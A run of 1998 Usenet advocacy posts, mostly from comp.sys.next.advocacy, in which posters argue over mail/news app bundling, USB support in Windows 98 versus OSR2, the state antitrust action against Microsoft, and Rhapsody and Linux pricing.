> that the bundle situation is *wrong*, and they want the government (or
> somebody) to force everyone to use separate apps.
It looked to me that, whatever your preference, you were defending your
intellectual choice on the grounds that it worked better for you, and
that you had no intention of moving to a different technical solution
simply because it was novel.
The people who disagree with you oppose that choice, although they
happen to have the same preferences as you. In my opinion, the principle
of choice is more important than specific preferences, but, as you say,
that apparently wasn't your point.
I intended my comment to illustrate the danger in misplacing priorities,
as I sensed you were affirming your right to choice but were dangerously
confusing that right with an advocacy that claims here, and elsewhere,
that there is only one right way to do [mail and news handling].
Now I understand your comments better, in light of the fact that you
aren't really affirming choice but rather the fact that a bundle
solution is just plain wrong.
> Someone who thinks that the bundle situation is wrong and wants everyone
> to use separate apps, is not someone who would seem willing to switch
> to a bundle solution purely for the sake of having a bundle solution.
That would seem to describe you more than I originally thought.
MJP
--
Michael J. Peck
"The only thing jocks think about is football. The only thing us nerds
think
about is sex. That's why we're so good at it."
-- Revenge of the Nerds
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Thu, 07 May 1998 13:37:22 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <3551B912.42C72CFD@nstar.net>
References: <6io74v$cuc$1@crib.bevc.blacksburg.va.us> <B175052E-165DC1@206.165.43.143> <slrn6l1bvd.ftg.mbkennel@lyapunov.ucsd.edu> <3550B486.607B@convex.com> <6iqhka$7ph@newsb.netnews.att.com>
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gupta@kcopsrm.tm.tta.moc-mirror, after, @ wrote:
>
> Michael Peck <MJPECK@CONVEX.COM> wrote:
>
> >SysReq and Scroll Lock are anachronisms, just like the internal PC
> >speaker that requires desktop-centric volume control. 99% of all modern
> >PC systems have a dedicated sound card with external output to speakers,
> >99% of which have volume knobs.
>
> What about the built-in speaker, like in my Compaq Deskpro 2000,
> which is a mini-tower, and which is under my desk, and which has its
> volume knob on the sound card which is on the **back** of the
> mini-tower ?
Forgive me if I'm mistaken, but doesn't your Compaq keyboard have a
volume control knob on it?
MJP
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Thu, 07 May 1998 13:46:43 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <3551BB43.5BD48B58@nstar.net>
References: <6ipuoa$606$4@strato.ultra.net> <6ipvus$s9i@shelob.afs.com> <35508936.514A@CONVEX.COM> <35577677.21461540@news.nai.net>
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Perry.Fecteau@Republican.COM wrote:
> kinda like scsi eh?
Yeah, all except for the expense and effective length of the chain and
ease of setup and simplicity of protocol.
MJP
From: clee2@envirolink.org (Chris Lee)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: 6 May 1998 23:33:29 GMT
Organization: Your Organization
Message-ID: <6iqs09$o5p$2@winter.news.erols.com>
References: <6ipuoa$606$4@strato.ultra.net> <6ipvus$s9i@shelob.afs.com> <35508936.514A@CONVEX.COM>
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In article <35508936.514A@CONVEX.COM>, MJPECK@CONVEX.COM says...
>
>Gregory H. Anderson wrote:
>
>> This is a complete red herring. Either your (new) computer has USB on
>> the backplane, or it doesn't. If it does -- like my new Presario 2240,
>> which arrived with OSR2 -- then the supplied operating system supports
>> it.
>
>My motherboard has a USB port. It didn't come with OSR2.
>
>> Can you imagine anything else? Why would you put a port on the back
>> of a computer that was "not yet" supported by the OS?
>
>Reminds me of Motorola, putting parallel ports on the backs of
>Macintoshes in anticipation of a CHRP MacOS. Those idiots. They know
>Apple better than that.
>
>> So I guess the argument for harm comes down to companies that make
>> add-in USB cards for older computers.
>
>Or companies that sell motherboards as upgrades.
>
>> Certainly those who make USB
>> *attachments* could start marketing to people like me right now. Though
>> frankly I still don't understand what all the USB fuss is about anyway.
>
>It's about not having to find kludgy ways to attach low-cost peripherals
>to a computer. For example, how do you currently attach a scanner?
>
>1) SCSI host adapter: cost, setup, incompatibilities
>2) Parallel port: slow, proprietary, difficult to chain
>
>How do you attach a joystick?
>
>1) Serial port: slow, kludgy, non-standard
>2) Game port: difficult to support, slow, low-capability, often
>proprietary
>
>How do you attach a tape drive?
>
>1) IDE/SCSI: expensive
>2) Floppy interface: slow, idiotic, totally kludgy, difficult to setup
>
>How do you attach a digital camera?
>
>1) Serial port: slow
>2) SCSI: expensive, difficult to setup
>
>And on, and on, and on, and on. Printers, QuickCams, caller ID boxes,
>telephones, radios, and hundreds of other devices designed to expand the
>functionality of a desktop computer all qualify for the benefits of a
>high-speed, standardized, chainable serial interface.
You do know that during the heyday of the Atari 8-bit computers you could do
all this using a 6502-based computer, don't you?
In fact, you could buy 300 and 1200 baud modems at the time if I remember
that hooked up to the 8-bit Atari joystick ports...
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Date: 7 May 1998 08:57:02 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6irt0u$r1i$2@ns3.vrx.net>
References: <6icrin$6ra@newsb.netnews.att.com> <354E1312.20EA@CONVEX.COM>
<6illkc$em7$2@cronkite.cygnus.com> <6imlnj$nkm$2@ns3.vrx.net>
<6injcb$bk4$1@crib.bevc.blacksburg.va.us> <354f7928.0@news.depaul.edu>
<6indtv$c0h$5@ns3.vrx.net> <rmcassid-0505981451530001@dante.eng.uci.edu>
<6ip8au$oum$10@ns3.vrx.net> <SCOTT.98May6131834@slave.doubleu.com>
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Cc: scott@doubleu.com
In <SCOTT.98May6131834@slave.doubleu.com> Scott Hess claimed:
> It's divider war - or window war.
Quite often I find myself with two messages from the same thread open,
comparing them side by side. At a minimum the system needs to put messages
in windows IMHO.
> Very few interfaces scale well both
> downward _and_ upward.
Both my newsreader and my mail app have windowed interfaces (no panes).
Works better than anything on OpenStep, even though the later has much more
real estate on my screen. Again I believe this is simply an implementation
issue.
Maury
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 6 May 1998 17:01:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B17647D3-93E13@206.165.43.19>
References: <3550d790.0@news.depaul.edu>
nntp://news.primenet.com/comp.sys.next.advocacy
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Jonathan W Hendry <jhendry@shrike.depaul.edu> said:
>
>It's much faster to use the keyboard - when you're not logged in. In
>that case, there wouldn't be a control strip available.
>
Ah.
A variation of Fitt's (not Fitz, sorry) Law that I hadn't heard: a constant
needs to be added for boot time [BT]:
Time = BT + 1.08 + .096log2 (D/S + 0.5)
In this case, BT swamps the effects of all other variables.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: sheppard.gordon@relaynet.org (SHEPPARD GORDON)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Windowshade
Date: Wed, 06 May 98 16:20:00 -0400
Organization: RelayNet, Brooklyn, NY (718) 692-2498
Distribution: World
Message-ID: <8EE93D4.09B6006F1A.uuout@relaynet.org>
On 05/06/98, JOE RAGOSTA wrote to don.brown@cesoft.com:
JR> I've never liked Window Shades, either, but some people do.
It's a simple and elegant feature that originated with the shareware
WINDOSHADE shareware Control Panel in 1989. I'm one of those people who like
having it available.
JR> If you don't like the feature, don't use it.
Precisely.
Salut!
-> Alice4Mac 2.4.4 E QWK Hiya:05Nov94
From: jrudd@cygnus.com (John Rudd)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Date: 6 May 1998 23:49:57 GMT
Organization: Cygnus Solutions
Message-ID: <6iqsv5$h86$2@cronkite.cygnus.com>
References: <6icrin$6ra@newsb.netnews.att.com> <354E1312.20EA@CONVEX.COM>
<6illkc$em7$2@cronkite.cygnus.com> <6imlnj$nkm$2@ns3.vrx.net>
<6injcb$bk4$1@crib.bevc.blacksburg.va.us> <6in6mv$3of$4@ns3.vrx.net>
<geordie-0505981708370001@130.130.117.53> <usomn71tm.fsf@ai.mit.edu>
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Cc: portnoy@ai.mit.edu
In <usomn71tm.fsf@ai.mit.edu> portnoy@ai.mit.edu wrote:
> geordie@chapman.com (Geordie Korper) writes:
>
> > Mail News
> >
> > little categorization highly categorized
> > rarely threaded mostly threaded
> > low volume high volume
> > mostly signal mostly noise
> > high priority low priority
>
> Unless, of course, you subscribe to mailing lists:
>
> Mailing Lists
> highly categorized
> mostly threaded
> high volume
> mostly signal
> low priority
>
Since when are mailing lists threaded?
Sure, you cary a subject line forward, but there is NO way to track which
mail message is a reference to which previous mail message.. there is no
notion of a "refs" header in email. Even if there is one message that has no
"Re:" lead in teh subject, you don't know that the first "Re:" message refers
directly to that message.. you may not have recieved an intervening message.
You don't know. With news, by tracking the references you can in fact tell
wether or not a message directly follows another message. This is the whole
point and concept of threading.
Mail has _NO_ such thing.
--
John "kzin" Rudd jrudd@cygnus.com http://www.cygnus.com/~jrudd
Intel: Putting \"I want a pair of Daisy Eagle semi-auto paintball pistols
the backward in \in shoulder rigs. Who cares if you win the game as long
backward compatible\as you can John Woo as you dive over obstacles?" - anon
From: Greg_Anderson@afs.com (Gregory H. Anderson)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: 7 May 1998 14:15:07 GMT
Organization: Anderson Financial Systems Inc.
Message-ID: <6isflb$5tq@shelob.afs.com>
References: <see-below-0705980432050001@209.24.240.68>
Matthew Vaughan writes
> Err, true only in the sense that "Windows 98" is a lot more impressive
> sounding than "OSR2 for Windows 95" and people probalby wouldn't pay
> $110 for the latter. Since it's basically the same thing, they'd need
> to test it either way
Yes, with that Presario 2240 I mentioned in another post, it took me a
good two hours to disable all the new "features" in OSR2 and get it back
to looking like the rest of our 95 and NT4 machines. Ugh. I guess the
ugliness of Active Desktop should not be surprising, since it's the one
"innovation" Microsoft didn't have anyone to steal from. So basically I
was left feeling like I bought a brand new computer with a beta version
of Win/98, which is not what I thought I was buying. The only redeeming
features are that the Explorer copy panel is no longer modal, and you can
have individual folders sorted different ways (a feature that NEXTSTEP
had since its inception, but I digress).
BTW, you gotta love an OS that boots with a desktop full of advertising
channels. How many people *won't* know how to get rid of that crap, and
will live with that channels bar until they throw away their computer?
--
Gregory H. Anderson | "We're in the land of the blind,
Visionary Ophthalmologist | selling working eyeballs, and they
Anderson Financial Systems | balk at the choice of color." -- Tony
greg@afs.com (NeXTmail OK) | Lovell, on Mac user reactions to NeXT
From: cirby@magicnet.net (Chad Irby)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: 7 May 1998 00:23:33 GMT
Organization: MagicNet, Inc.
Message-ID: <cirby-0605982023170001@pm61-46.magicnet.net>
References: <6ipuoa$606$4@strato.ultra.net> <35509256.0@news.depaul.edu> <3550BE9A.35ED@CONVEX.COM> <slrn6l1i8k.rjr.sal@panix3.panix.com> <6iqjtt$m7r$1@inconnu.isu.edu>
ink@inconnu.isu.edu (Craig Kelley) wrote:
> Salvatore Denaro <sal@panix3.panix.com> wrote:
>
> ->rules. MS will not allow USB products to ship with the MS logo until they
> ->ship Win98. This was even covered in Byte a couple of months back.
>
> I don't get it: I can send anyone who would like a screen shot of my
> Windows95 machine; it has the USB driver listed in the devices screen.
>
> Why do we need Windows98 again?
Well, when W98 Service Pack 2 version 3 comes out, at least half of those
USB devices will work.
In theory.
--
Chad Irby cirby@magicnet.net
/ My greatest fear:
/ That future generations will, for some
/ reason, refer to me as an "optimist."
From: "John Saunders" <jws@jws.ultranet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Wed, 6 May 1998 20:50:55 -0400
Organization: UltraNet Communications, Inc. http://www.ultranet.com/
Message-ID: <6ir1j6$s1s$2@ligarius.ultra.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <6in626$6cm$1@new-news.cc.brandeis.edu> <6iomt3$bac$2@ligarius.ultra.net> <joe.ragosta-0605980807060001@wil124.dol.net> <6ipuo9$606$3@strato.ultra.net> <slrn6l12bb.lgl.jedi@dementia.mishnet>
jedi wrote in message ...
>On Wed, 6 May 1998 10:59:07 -0400, John Saunders <jws@jws.ultranet.com>
wrote:
>>Joe Ragosta wrote in message ...
>>>In article <6iomt3$bac$2@ligarius.ultra.net>, "John Saunders"
>>><jws@jws.ultranet.com> wrote:
>>>> So when it comes to a situation where someone claims they've looked at
>>all
>>>> the potential problems, but they're still going to do so and such a
thing
>>>> for "my own good", I'm more than just skeptical. I react like someone
who
>>>> knows they're being lied to. Which is often the case.
>>>
>>>But I don't see anyone claiming to do this for your own good. The claim
is
>>>that they're enforcing the laws. The consequences are not their concern.
>>>Nor should they be.
>>>
>>
>>
>>Joe,
>>
>>In my state (Massachusetts), the Attourney General is elected. He doesn't
>>get re-elected by proudly stating his record of enforcing obscure
anti-trust
>>laws no one has ever heard of ("what's a trust?"). He will be re-elected
by
>
> I don't know about you but, my shoddy 'inner city'
> public school education even managed to cover the
> this topic.
jedi,
Did your post get cut off? I'm not sure what you're getting at.
John Saunders
jws@jws.ultranet.com
From: "John Saunders" <jws@jws.ultranet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Wed, 6 May 1998 21:02:36 -0400
Organization: UltraNet Communications, Inc. http://www.ultranet.com/
Message-ID: <6ir1j8$s1s$3@ligarius.ultra.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <6in626$6cm$1@new-news.cc.brandeis.edu> <6iomt3$bac$2@ligarius.ultra.net> <joe.ragosta-0605980807060001@wil124.dol.net> <6ipuo9$606$3@strato.ultra.net> <joe.ragosta-0605981319480001@wil103.dol.net>
Joe Ragosta wrote in message ...
>In article <6ipuo9$606$3@strato.ultra.net>, "John Saunders"
><jws@jws.ultranet.com> wrote:
>
>> Joe Ragosta wrote in message ...
>> >In article <6iomt3$bac$2@ligarius.ultra.net>, "John Saunders"
>> ><jws@jws.ultranet.com> wrote:
>> >> So when it comes to a situation where someone claims they've looked at
>> all
>> >> the potential problems, but they're still going to do so and such a
thing
>> >> for "my own good", I'm more than just skeptical. I react like someone
who
>> >> knows they're being lied to. Which is often the case.
>> >
>> >But I don't see anyone claiming to do this for your own good. The claim
is
>> >that they're enforcing the laws. The consequences are not their concern.
>> >Nor should they be.
>> >
>>
>> In my state (Massachusetts), the Attourney General is elected. He
doesn't
>> get re-elected by proudly stating his record of enforcing obscure
anti-trust
>> laws no one has ever heard of ("what's a trust?"). He will be re-elected
by
>> standing up and stating that he has stood up for our rights as consumers
to
>> a free choice. In other words, "for our own good".
>
>Too simplistic. Look at the cops and attorneys who make the jump into
>politics. More often than not, they get there because of a position that
>they're tough on crime. They're not arguing that anyone is dramatically
>better off (what are the statistical odds that you're going to be murdered
>this year?). They're making a philosophical point that they're tough on
>crime and are putting bad guys behind bars.
>
>This situation is no exception. You made a statement that the AGs were
>doing something for your own good, but haven't provided any evidence of
>it.
>
Joe, this is shocking. I think we're about to agree on something. :-)
I didn't mean that the AGs are actually doing things for my own good. I
meant that they will portray their actions as being for my own good, or at
least as being of benefit to me. They'll do this in exactly the way they
talk about being tough on crime, whether or not there has actually been any
decrease in crime.
>>
>> >In our system, the lawmakers write the laws. THEY are responsible for
>> >writing good laws.
>>
>>
>> And what happens when the laws are bad ones? Or have unpleasant
>> side-effects? Nothing, usually. We don't elect people to fix unpleasant
>> side-effects, so the rarely get fixed.
>
>That's true--some times.
>
I know I'm getting to be the old cynic, but can you show me a case of a bad
law getting fixed? I bet it was a law that a lot of people thought was
_really_ bad, not a law that simply caught some people falling between the
cracks.
"The squeaky wheel gets the grease", but our system doesn't do as well when
there are a lot of wheels, each squeaking for a different reason and not in
unison.
>>
>> >
>> >The executive branch is supposed to _enforce_ the laws without worrying
>> >about whether they're good laws or not. In fact, the Executive branch is
>> >specifically NOT supposed to selectively enforce the laws. It should be
>> >even handed regardless of how big or wealthy the defendant is.
>>
>> I don't know of any recent cases of selective enforcement due to the
>> popularity of the defendent. My concern is selective enforcement due to
the
>> increased chance of reelection and due to the amount of money that can be
>> extorted from the defendant.
>
>And you haven't provided any evidence that this is happening.
>
Joe, one of my points has been that this business of states ganging up for
the purpose of extortion is new. The examples are all in the future.
And by the way, if the states decide against doing this, I'll cc these
newsgroups my letter to my state AG praising his actions.
>>
>>
>> >It's not a perfect system, but it has worked for a long, long time.
>> >
>>
>>
>> Joe, my concern is that this business of the states ganging up to extort
>> money is new. It has not been tested for long. We have no reason to
believe
>> it will work.
>
>Nonsense. The system has withstood the test of time. Sure, it can be
>improved. But our system has faced much tougher problems than this one.
>
Joe, once more. This part of the system is new. I do not know of a case
prior to the tobacco case, where the states ganged up, not for the purpose
of taking a case to trial, but for the purpose of extorting money. It is
this specific aspect that I'm most concerned about.
>BTW, you _still_ haven't provided any evidence that the AGs are trying to
>extort money from MS. You keep setting up this straw man argument without
>proof, then basing your entire defense on the idea that the states are
>extorting money. Since the states have claimed that they're trying to
>enforce the law, you have the burden of proof to provide some evidence
>otherwise.
You have a point here.
It has been my intention to convey my belief that the reported discussions
between the states and DOJ will lead to an extortion attempt akin to the
attempt against the tobacco companies. The future will show us all whether
my belief is correct. I hope I'm wrong.
Perhaps we should wind down this calm and reasoned discussion ( ;-) ) and
wait to see what happens?
>
>--
>Regards,
>Joe Ragosta
>http://www.dol.net/~Ragosta/complmac.htm
John Saunders
jws@jws.ultranet.com
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MklinuxDR2 & RhapsodyDR2 running side by side?
Date: 7 May 1998 15:30:48 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6l3kt8.2pd.sal@panix3.panix.com>
References: <6ijpv5$p11@nnrp1.farm.idt.net> <354dd457.0@news.depaul.edu> <6iofql$ake@bgtnsc01.worldnet.att.net> <6ip8vm$oum$12@ns3.vrx.net> <6ir6mg$6ej@bgtnsc03.worldnet.att.net> <6irtmn$r1i$4@ns3.vrx.net>
On 7 May 1998 09:08:39 GMT, Maury Markowitz <maury@remove_this.istar.ca> wrote:
>In <6ir6mg$6ej@bgtnsc03.worldnet.att.net> Peter Koren claimed:
>> Most Linux users I know have dual or multiple OS boot
>> systems. They pay for the other OSs. I love Linux because
>> it is an excellent Unix and improving at a spectacular rate.
> Well I can't say I know that much about the development effort, but much of
>what I see tends to be on the "geek" end of things.
I would tend to agree that most of the development is on the "geek"
end of the scale. Heck, the App being touted as the KDE/Gnome word
processor of choice is based on LyX, a TeX editor.
>> It may gain the ease of use and OO API that Rhapsody has
>> quicker than you might guess.
> Maybe maybe not - that side I _have_ been watching and I've seen little
>movement.
There are a few GUI projects that look interesting, Gnome and KDE
being the two that stand out. RedHat even sells a CDE bundle. I
would guestimate that 75% of Linux users I know run some kind of
unified GUI system/bundle. They must see some kind of value in using an
interface that _just works_
How well the'll view Rhapsody is still up in the air.
>> I don't think that the Linux users will refuse to pay for
>> Rhapsody if it is sanely priced.
> Good!
"Sanely priced" is a relative measure. A guy at the local software
store that I go to, told me that the $30 official RedHat5 out sells the
$12.50 InfoMagic RedHat5 bundle. Why would people pay more? Perceived
value. Since the $30 package is in a bigger box, is riddled with
stickers telling you all the extra stuff that is in the box, and has
the word "official" stamped on it; it has a much higher perceived value.
RedHat also has a fair amount of mindshare in the Linux comunity. The
Caldera bundle sells fewer copies than the InfoMagic package. At $100+
it doesn't seem to have a higher value to justify the higher price.
It becomes clear that for Rhapsody to sell at $100, Apple has to make
it clear that you get more than you get in that $30 RedHat package or
it wont sell well to Linux users.
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: suckow@*remove_this_to_e-mail_me*bln.sel.alcatel.de (Ralf Suckow)
Newsgroups: comp.sys.next.advocacy
Subject: GUI problem (Was: MSNBC : NeXT-Windows compatibility issue)
Date: 7 May 1998 15:36:25 GMT
Organization: Alcatel/Bell
Distribution: world
Message-ID: <6iskdp$mlo@btmpjg.god.bel.alcatel.be>
References: <35518710.0@epflnews.epfl.ch>
Marco Scheurer writes
> It was an Iranian jetliner. If I recall correctly, the accident was a
> GUI problem: the displayed info was incorrect for a while (mixing
> signals from a landing F14 and a taking-off Airbus). Then it was
> corrected but the change was not apparent to the sailors who were in a
> state of stress (there were at the same time in a gunfire battle with
> iranian patrol boats) and engaged in a complex fire sequence.
>
> Of course, here too, using Nanomush GUI paradigms will be great help.
======================
Any references?
Thanks,
--
Ralf.Suckow ------------------------
@bln.sel.alcatel.de | All opinions are mine.
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.ms-windows.advocacy
Subject: Re: Byte deletes binaries and puts up apple tweaked binary???
Date: Thu, 07 May 1998 12:12:57 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-0705981212570001@132.236.171.104>
References: <6iovd2$f0c$2@newsfep3.sprintmail.com> <djboccip-0605981023060001@tnt3-132.hiwaay.net> <6iqgj0$p4t$1@newsfep1.sprintmail.com> <joe.ragosta-0605981644420001@wil107.dol.net> <6iqljb$m1$1@newsfep1.sprintmail.com>
In article <6iqljb$m1$1@newsfep1.sprintmail.com>, macghod@concentric.net wrote:
> Now, both of the binaries are gone, and replaced with a binary that happens
> to get the same score as apple got. If this were intel instead of Apple, we
> know exactly what you would be saying Joe.
I think we should tell BYTE to publish the compiler and compiler options
they used to build this binary, just like they used to do for the
previously available binaries.
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.ms-windows.advocacy
Subject: Re: Byte deletes binaries and puts up apple tweaked binary???
Date: Thu, 07 May 1998 12:13:58 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-0705981213580001@132.236.171.104>
References: <6iovd2$f0c$2@newsfep3.sprintmail.com> <djboccip-0605981023060001@tnt3-132.hiwaay.net> <6iqgj0$p4t$1@newsfep1.sprintmail.com> <joe.ragosta-0605981644420001@wil107.dol.net> <6iqljb$m1$1@newsfep1.sprintmail.com> <slrn6l1s6a.5b7.jason@jhste1.dyn.ml.org>
In article <slrn6l1s6a.5b7.jason@jhste1.dyn.ml.org>,
jason@jhste1.dyn.ml.org (Jason S.) wrote:
> Eric got ~8.9
> with another binary that some mysterious person mailed him that was supposed
> to be the binary that Apple actually used for the Snail ad.
I get the same score with the new executable posted at www.byte.com.
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
From: "VHA PC Development" <codifex@airmail.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: 7 May 1998 16:22:08 GMT
Organization: VHA Inc.
Message-ID: <01bd79d5$27ad36a0$8383050a@bgravitt.CORP.VHA.COM>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <01bd785f$a4d216e0$8383050a@bgravitt.CORP.VHA.COM> <6ioone$clv$5@ligarius.ultra.net> <01bd791b$cc852e40$8383050a@bgravitt.CORP.VHA.COM> <6ir7p5$nt$4@ligarius.ultra.net>
John Saunders <jws@jws.ultranet.com> wrote in article
<6ir7p5$nt$4@ligarius.ultra.net>...
> VHA PC Development wrote in message
> <01bd791b$cc852e40$8383050a@bgravitt.CORP.VHA.COM>...
- snip (you wrote, I wrote etc...)
> >> >> DC, would a company like CompUSA, which has spent x Million dollars
> >> >getting
> >> >> their advertising and promotions ready for the Win98 launch would
be
> >hurt
> >> >if
> >> >> that launch were delayed a year or two?
> >> >
> >> >Probably not.
> >> >
> >>
> >>
> >> I'm going to run right out and buy stock in CompUSA - a company which
can
> >> drop millions of dollars and not be hurt by it. Hey, people, I said
> >"hurt",
> >> not "devastated".
> >>
> >
> >Most advertising is tax deductible. CUSA's drop of millions of dollars
was
> >a risky investment as investments usually go. They may be wounded for a
> >quarter maybe though I'll give you that.
> >
> >Let me ask you some questions...
> >
> >What return could CompUSA get from spending MOD on ads and promos for
> >another company's product? Upgrades?
>
>
> I assume that MOD = "Millions Of Dollars"?
>
> In that case the answer to your question is "CompUSA could expect an
> increase in sales of Windows 98 over what they would have sold in the
> absence of the advertising. They could also expect that people entering
> their store to buy Windows 98 as a result of their advertisements might
also
> make other purchases. Possibly, they would enjoy their shopping
experience
> and come back later to buy even more.".
>
I REALLY don't think Windows98 is going to cause any REAL increase in
sales. If anything it'll cause a great many problems with current users
machines which might cause some negative impact on goodwill. Job security?
>
> >I wouldn't doubt if CUSA was being urged to campaign for this new
windows.
> >They are a powerful force in the U.S. computer market. There is nothing
> >wrong with such partnerships insofar as it doesn't attempt to stifle
> >competition.
>
>
> Why would Microsoft have to urge a computer store to make money?
What the heck do you think marketing is? Hmm?
>
> >> >>
> >> >> Would the vendors of USB peripherals be hurt if there is no
mainstream
> >> >> operating system that supports USB?
> >> >
> >> >There would be mainstream support for USB if more people would/could
get
> >> >their hands on the USB supplement included in Win95 OSR2. Which, by
the
> >> >way, is all Win98 is except for being hamstrung by tighter
integration
> >with
> >> >IE.
> >> >
> >>
> >> I know this. But that's in the ideal world. In the real world, the
> >platform
> >> in which this support is to ship is Windows 98.
> >
> >OSR2 is shipping with new computers yet current users are left out. I
> >stipulate that Windows98 isn't a new version at all; it's the same thing
as
> >95 but with a few more bells and whistles. Albeit, you're being charged
> >for what new users have been getting for free with OSR2 AND you're
getting
> >IE rammed down yer throat.
> >
>
>
> I believe Windows98 does include a few things not in OSR2, the new disk
> defragmenter for instance.
>
Which does what that the old defragmenter couldn't do? Look prettier?
> And I don't believe you actually have to use IE if you don't want to. You
> can use Netscape if you want. In fact, an OEM can even preload Netscape
on
> your new computer and add the Netscape icon to the desktop.
Yeah, veeery reluctantly.
>
> >>
> >> How long do you think it would take DOJ to allow Microsoft to ship the
> >USB
> >> components of Win98 as an update? Three months? Six?
> >
> >Why would DOJ have a problem with the supplement? USB components are
there
> >to make OSR2 compatible not incompatible.
>
>
> You have more faith in the justice system than I do. How long has it been
> since the DOJ charge that MS broke the consent decree? Didn't that happen
> end of January, 1998? And that one hasn't yet gone to trial, has it? I
would
> expect that an action to stop Windows 98 would be more extensive, and so
> would take longer to get to the point where DOJ could permit MS to ship
any
> component of Windows 98 not yet in OSR2.
>
I can't predict things like that. I could see the release of USB
Supplement as benefiting an emerging technology - not just MS's bottom
line. The computer industry supports MS - MS can give something back for
the good of ALL.
> >>
> >> >>
> >> >> Would companies which have been testing their products against
Windows
> >98
> >> >be
> >> >> concerned if Windows 98 didn't ship?
> >> >
> >> >They shouldn't. Their programs should be able to run just fine on
all
> >> >flavors of Win95.
> >> >
> >>
> >>
> >> Yeah, ok. Is that why no one is testing their stuff on Windows 98?
> >Whatever
> >> testing they're doing will be wasted if they have to wait a year or
two
> >for
> >> the software to ship.
> >
> >I should say not. Wasted is such a harsh word. Nothing is wasted if it
> >will be used. I know one or two years is a long time in the industry
but
> >their programs will still work in the future. MS is good about that.
> >
>
>
> True. But in the meantime, they've spent today's money to get next year's
> profits. Maybe. That kind of thing has to cause indigestion to the bean
> counters...
Digel is good for that and cheap too.
> >> You can't (legally) buy OSR2 for an existing machine. If you have an
> >> existing machine and you want some of these features, then you need
> >Windows
> >> 98. I agree that if you buy a new machine you may have little use for
> >> Windows 98.
> >
> >Need?
> >
>
>
> If you have an existing machine and you want some of these features, then
in
> order to satisfy the desire, you would need Windows 98. If it is not
> important to satisfy that desire, then you do not need Windows 98.
>
methinks your use of "need" should be changed to "be required to buy".
> John Saunders
> jws@jws.ultranet.com
>
I've always said that I'm for a strong Microsoft. Just not at the expense
of the industry as a whole. You really can't blame Microsoft for what they
are - a prime example of capitalism if there ever was one.
--
=======================================
codifex@airmail.NOSPAM.net
bgravitt@vha.NOSPAM.com
=======================================
My opinions are mine alone - though others may borrow...
From: "Pinochet" <9grayhome9@00sprintmail0me0.com>
Newsgroups: comp.sys.next.advocacy,comp.unix.advocacy,comp.sys.amiga.advocacy,comp.os.os2.advocacy,comp.os.linux.advocacy
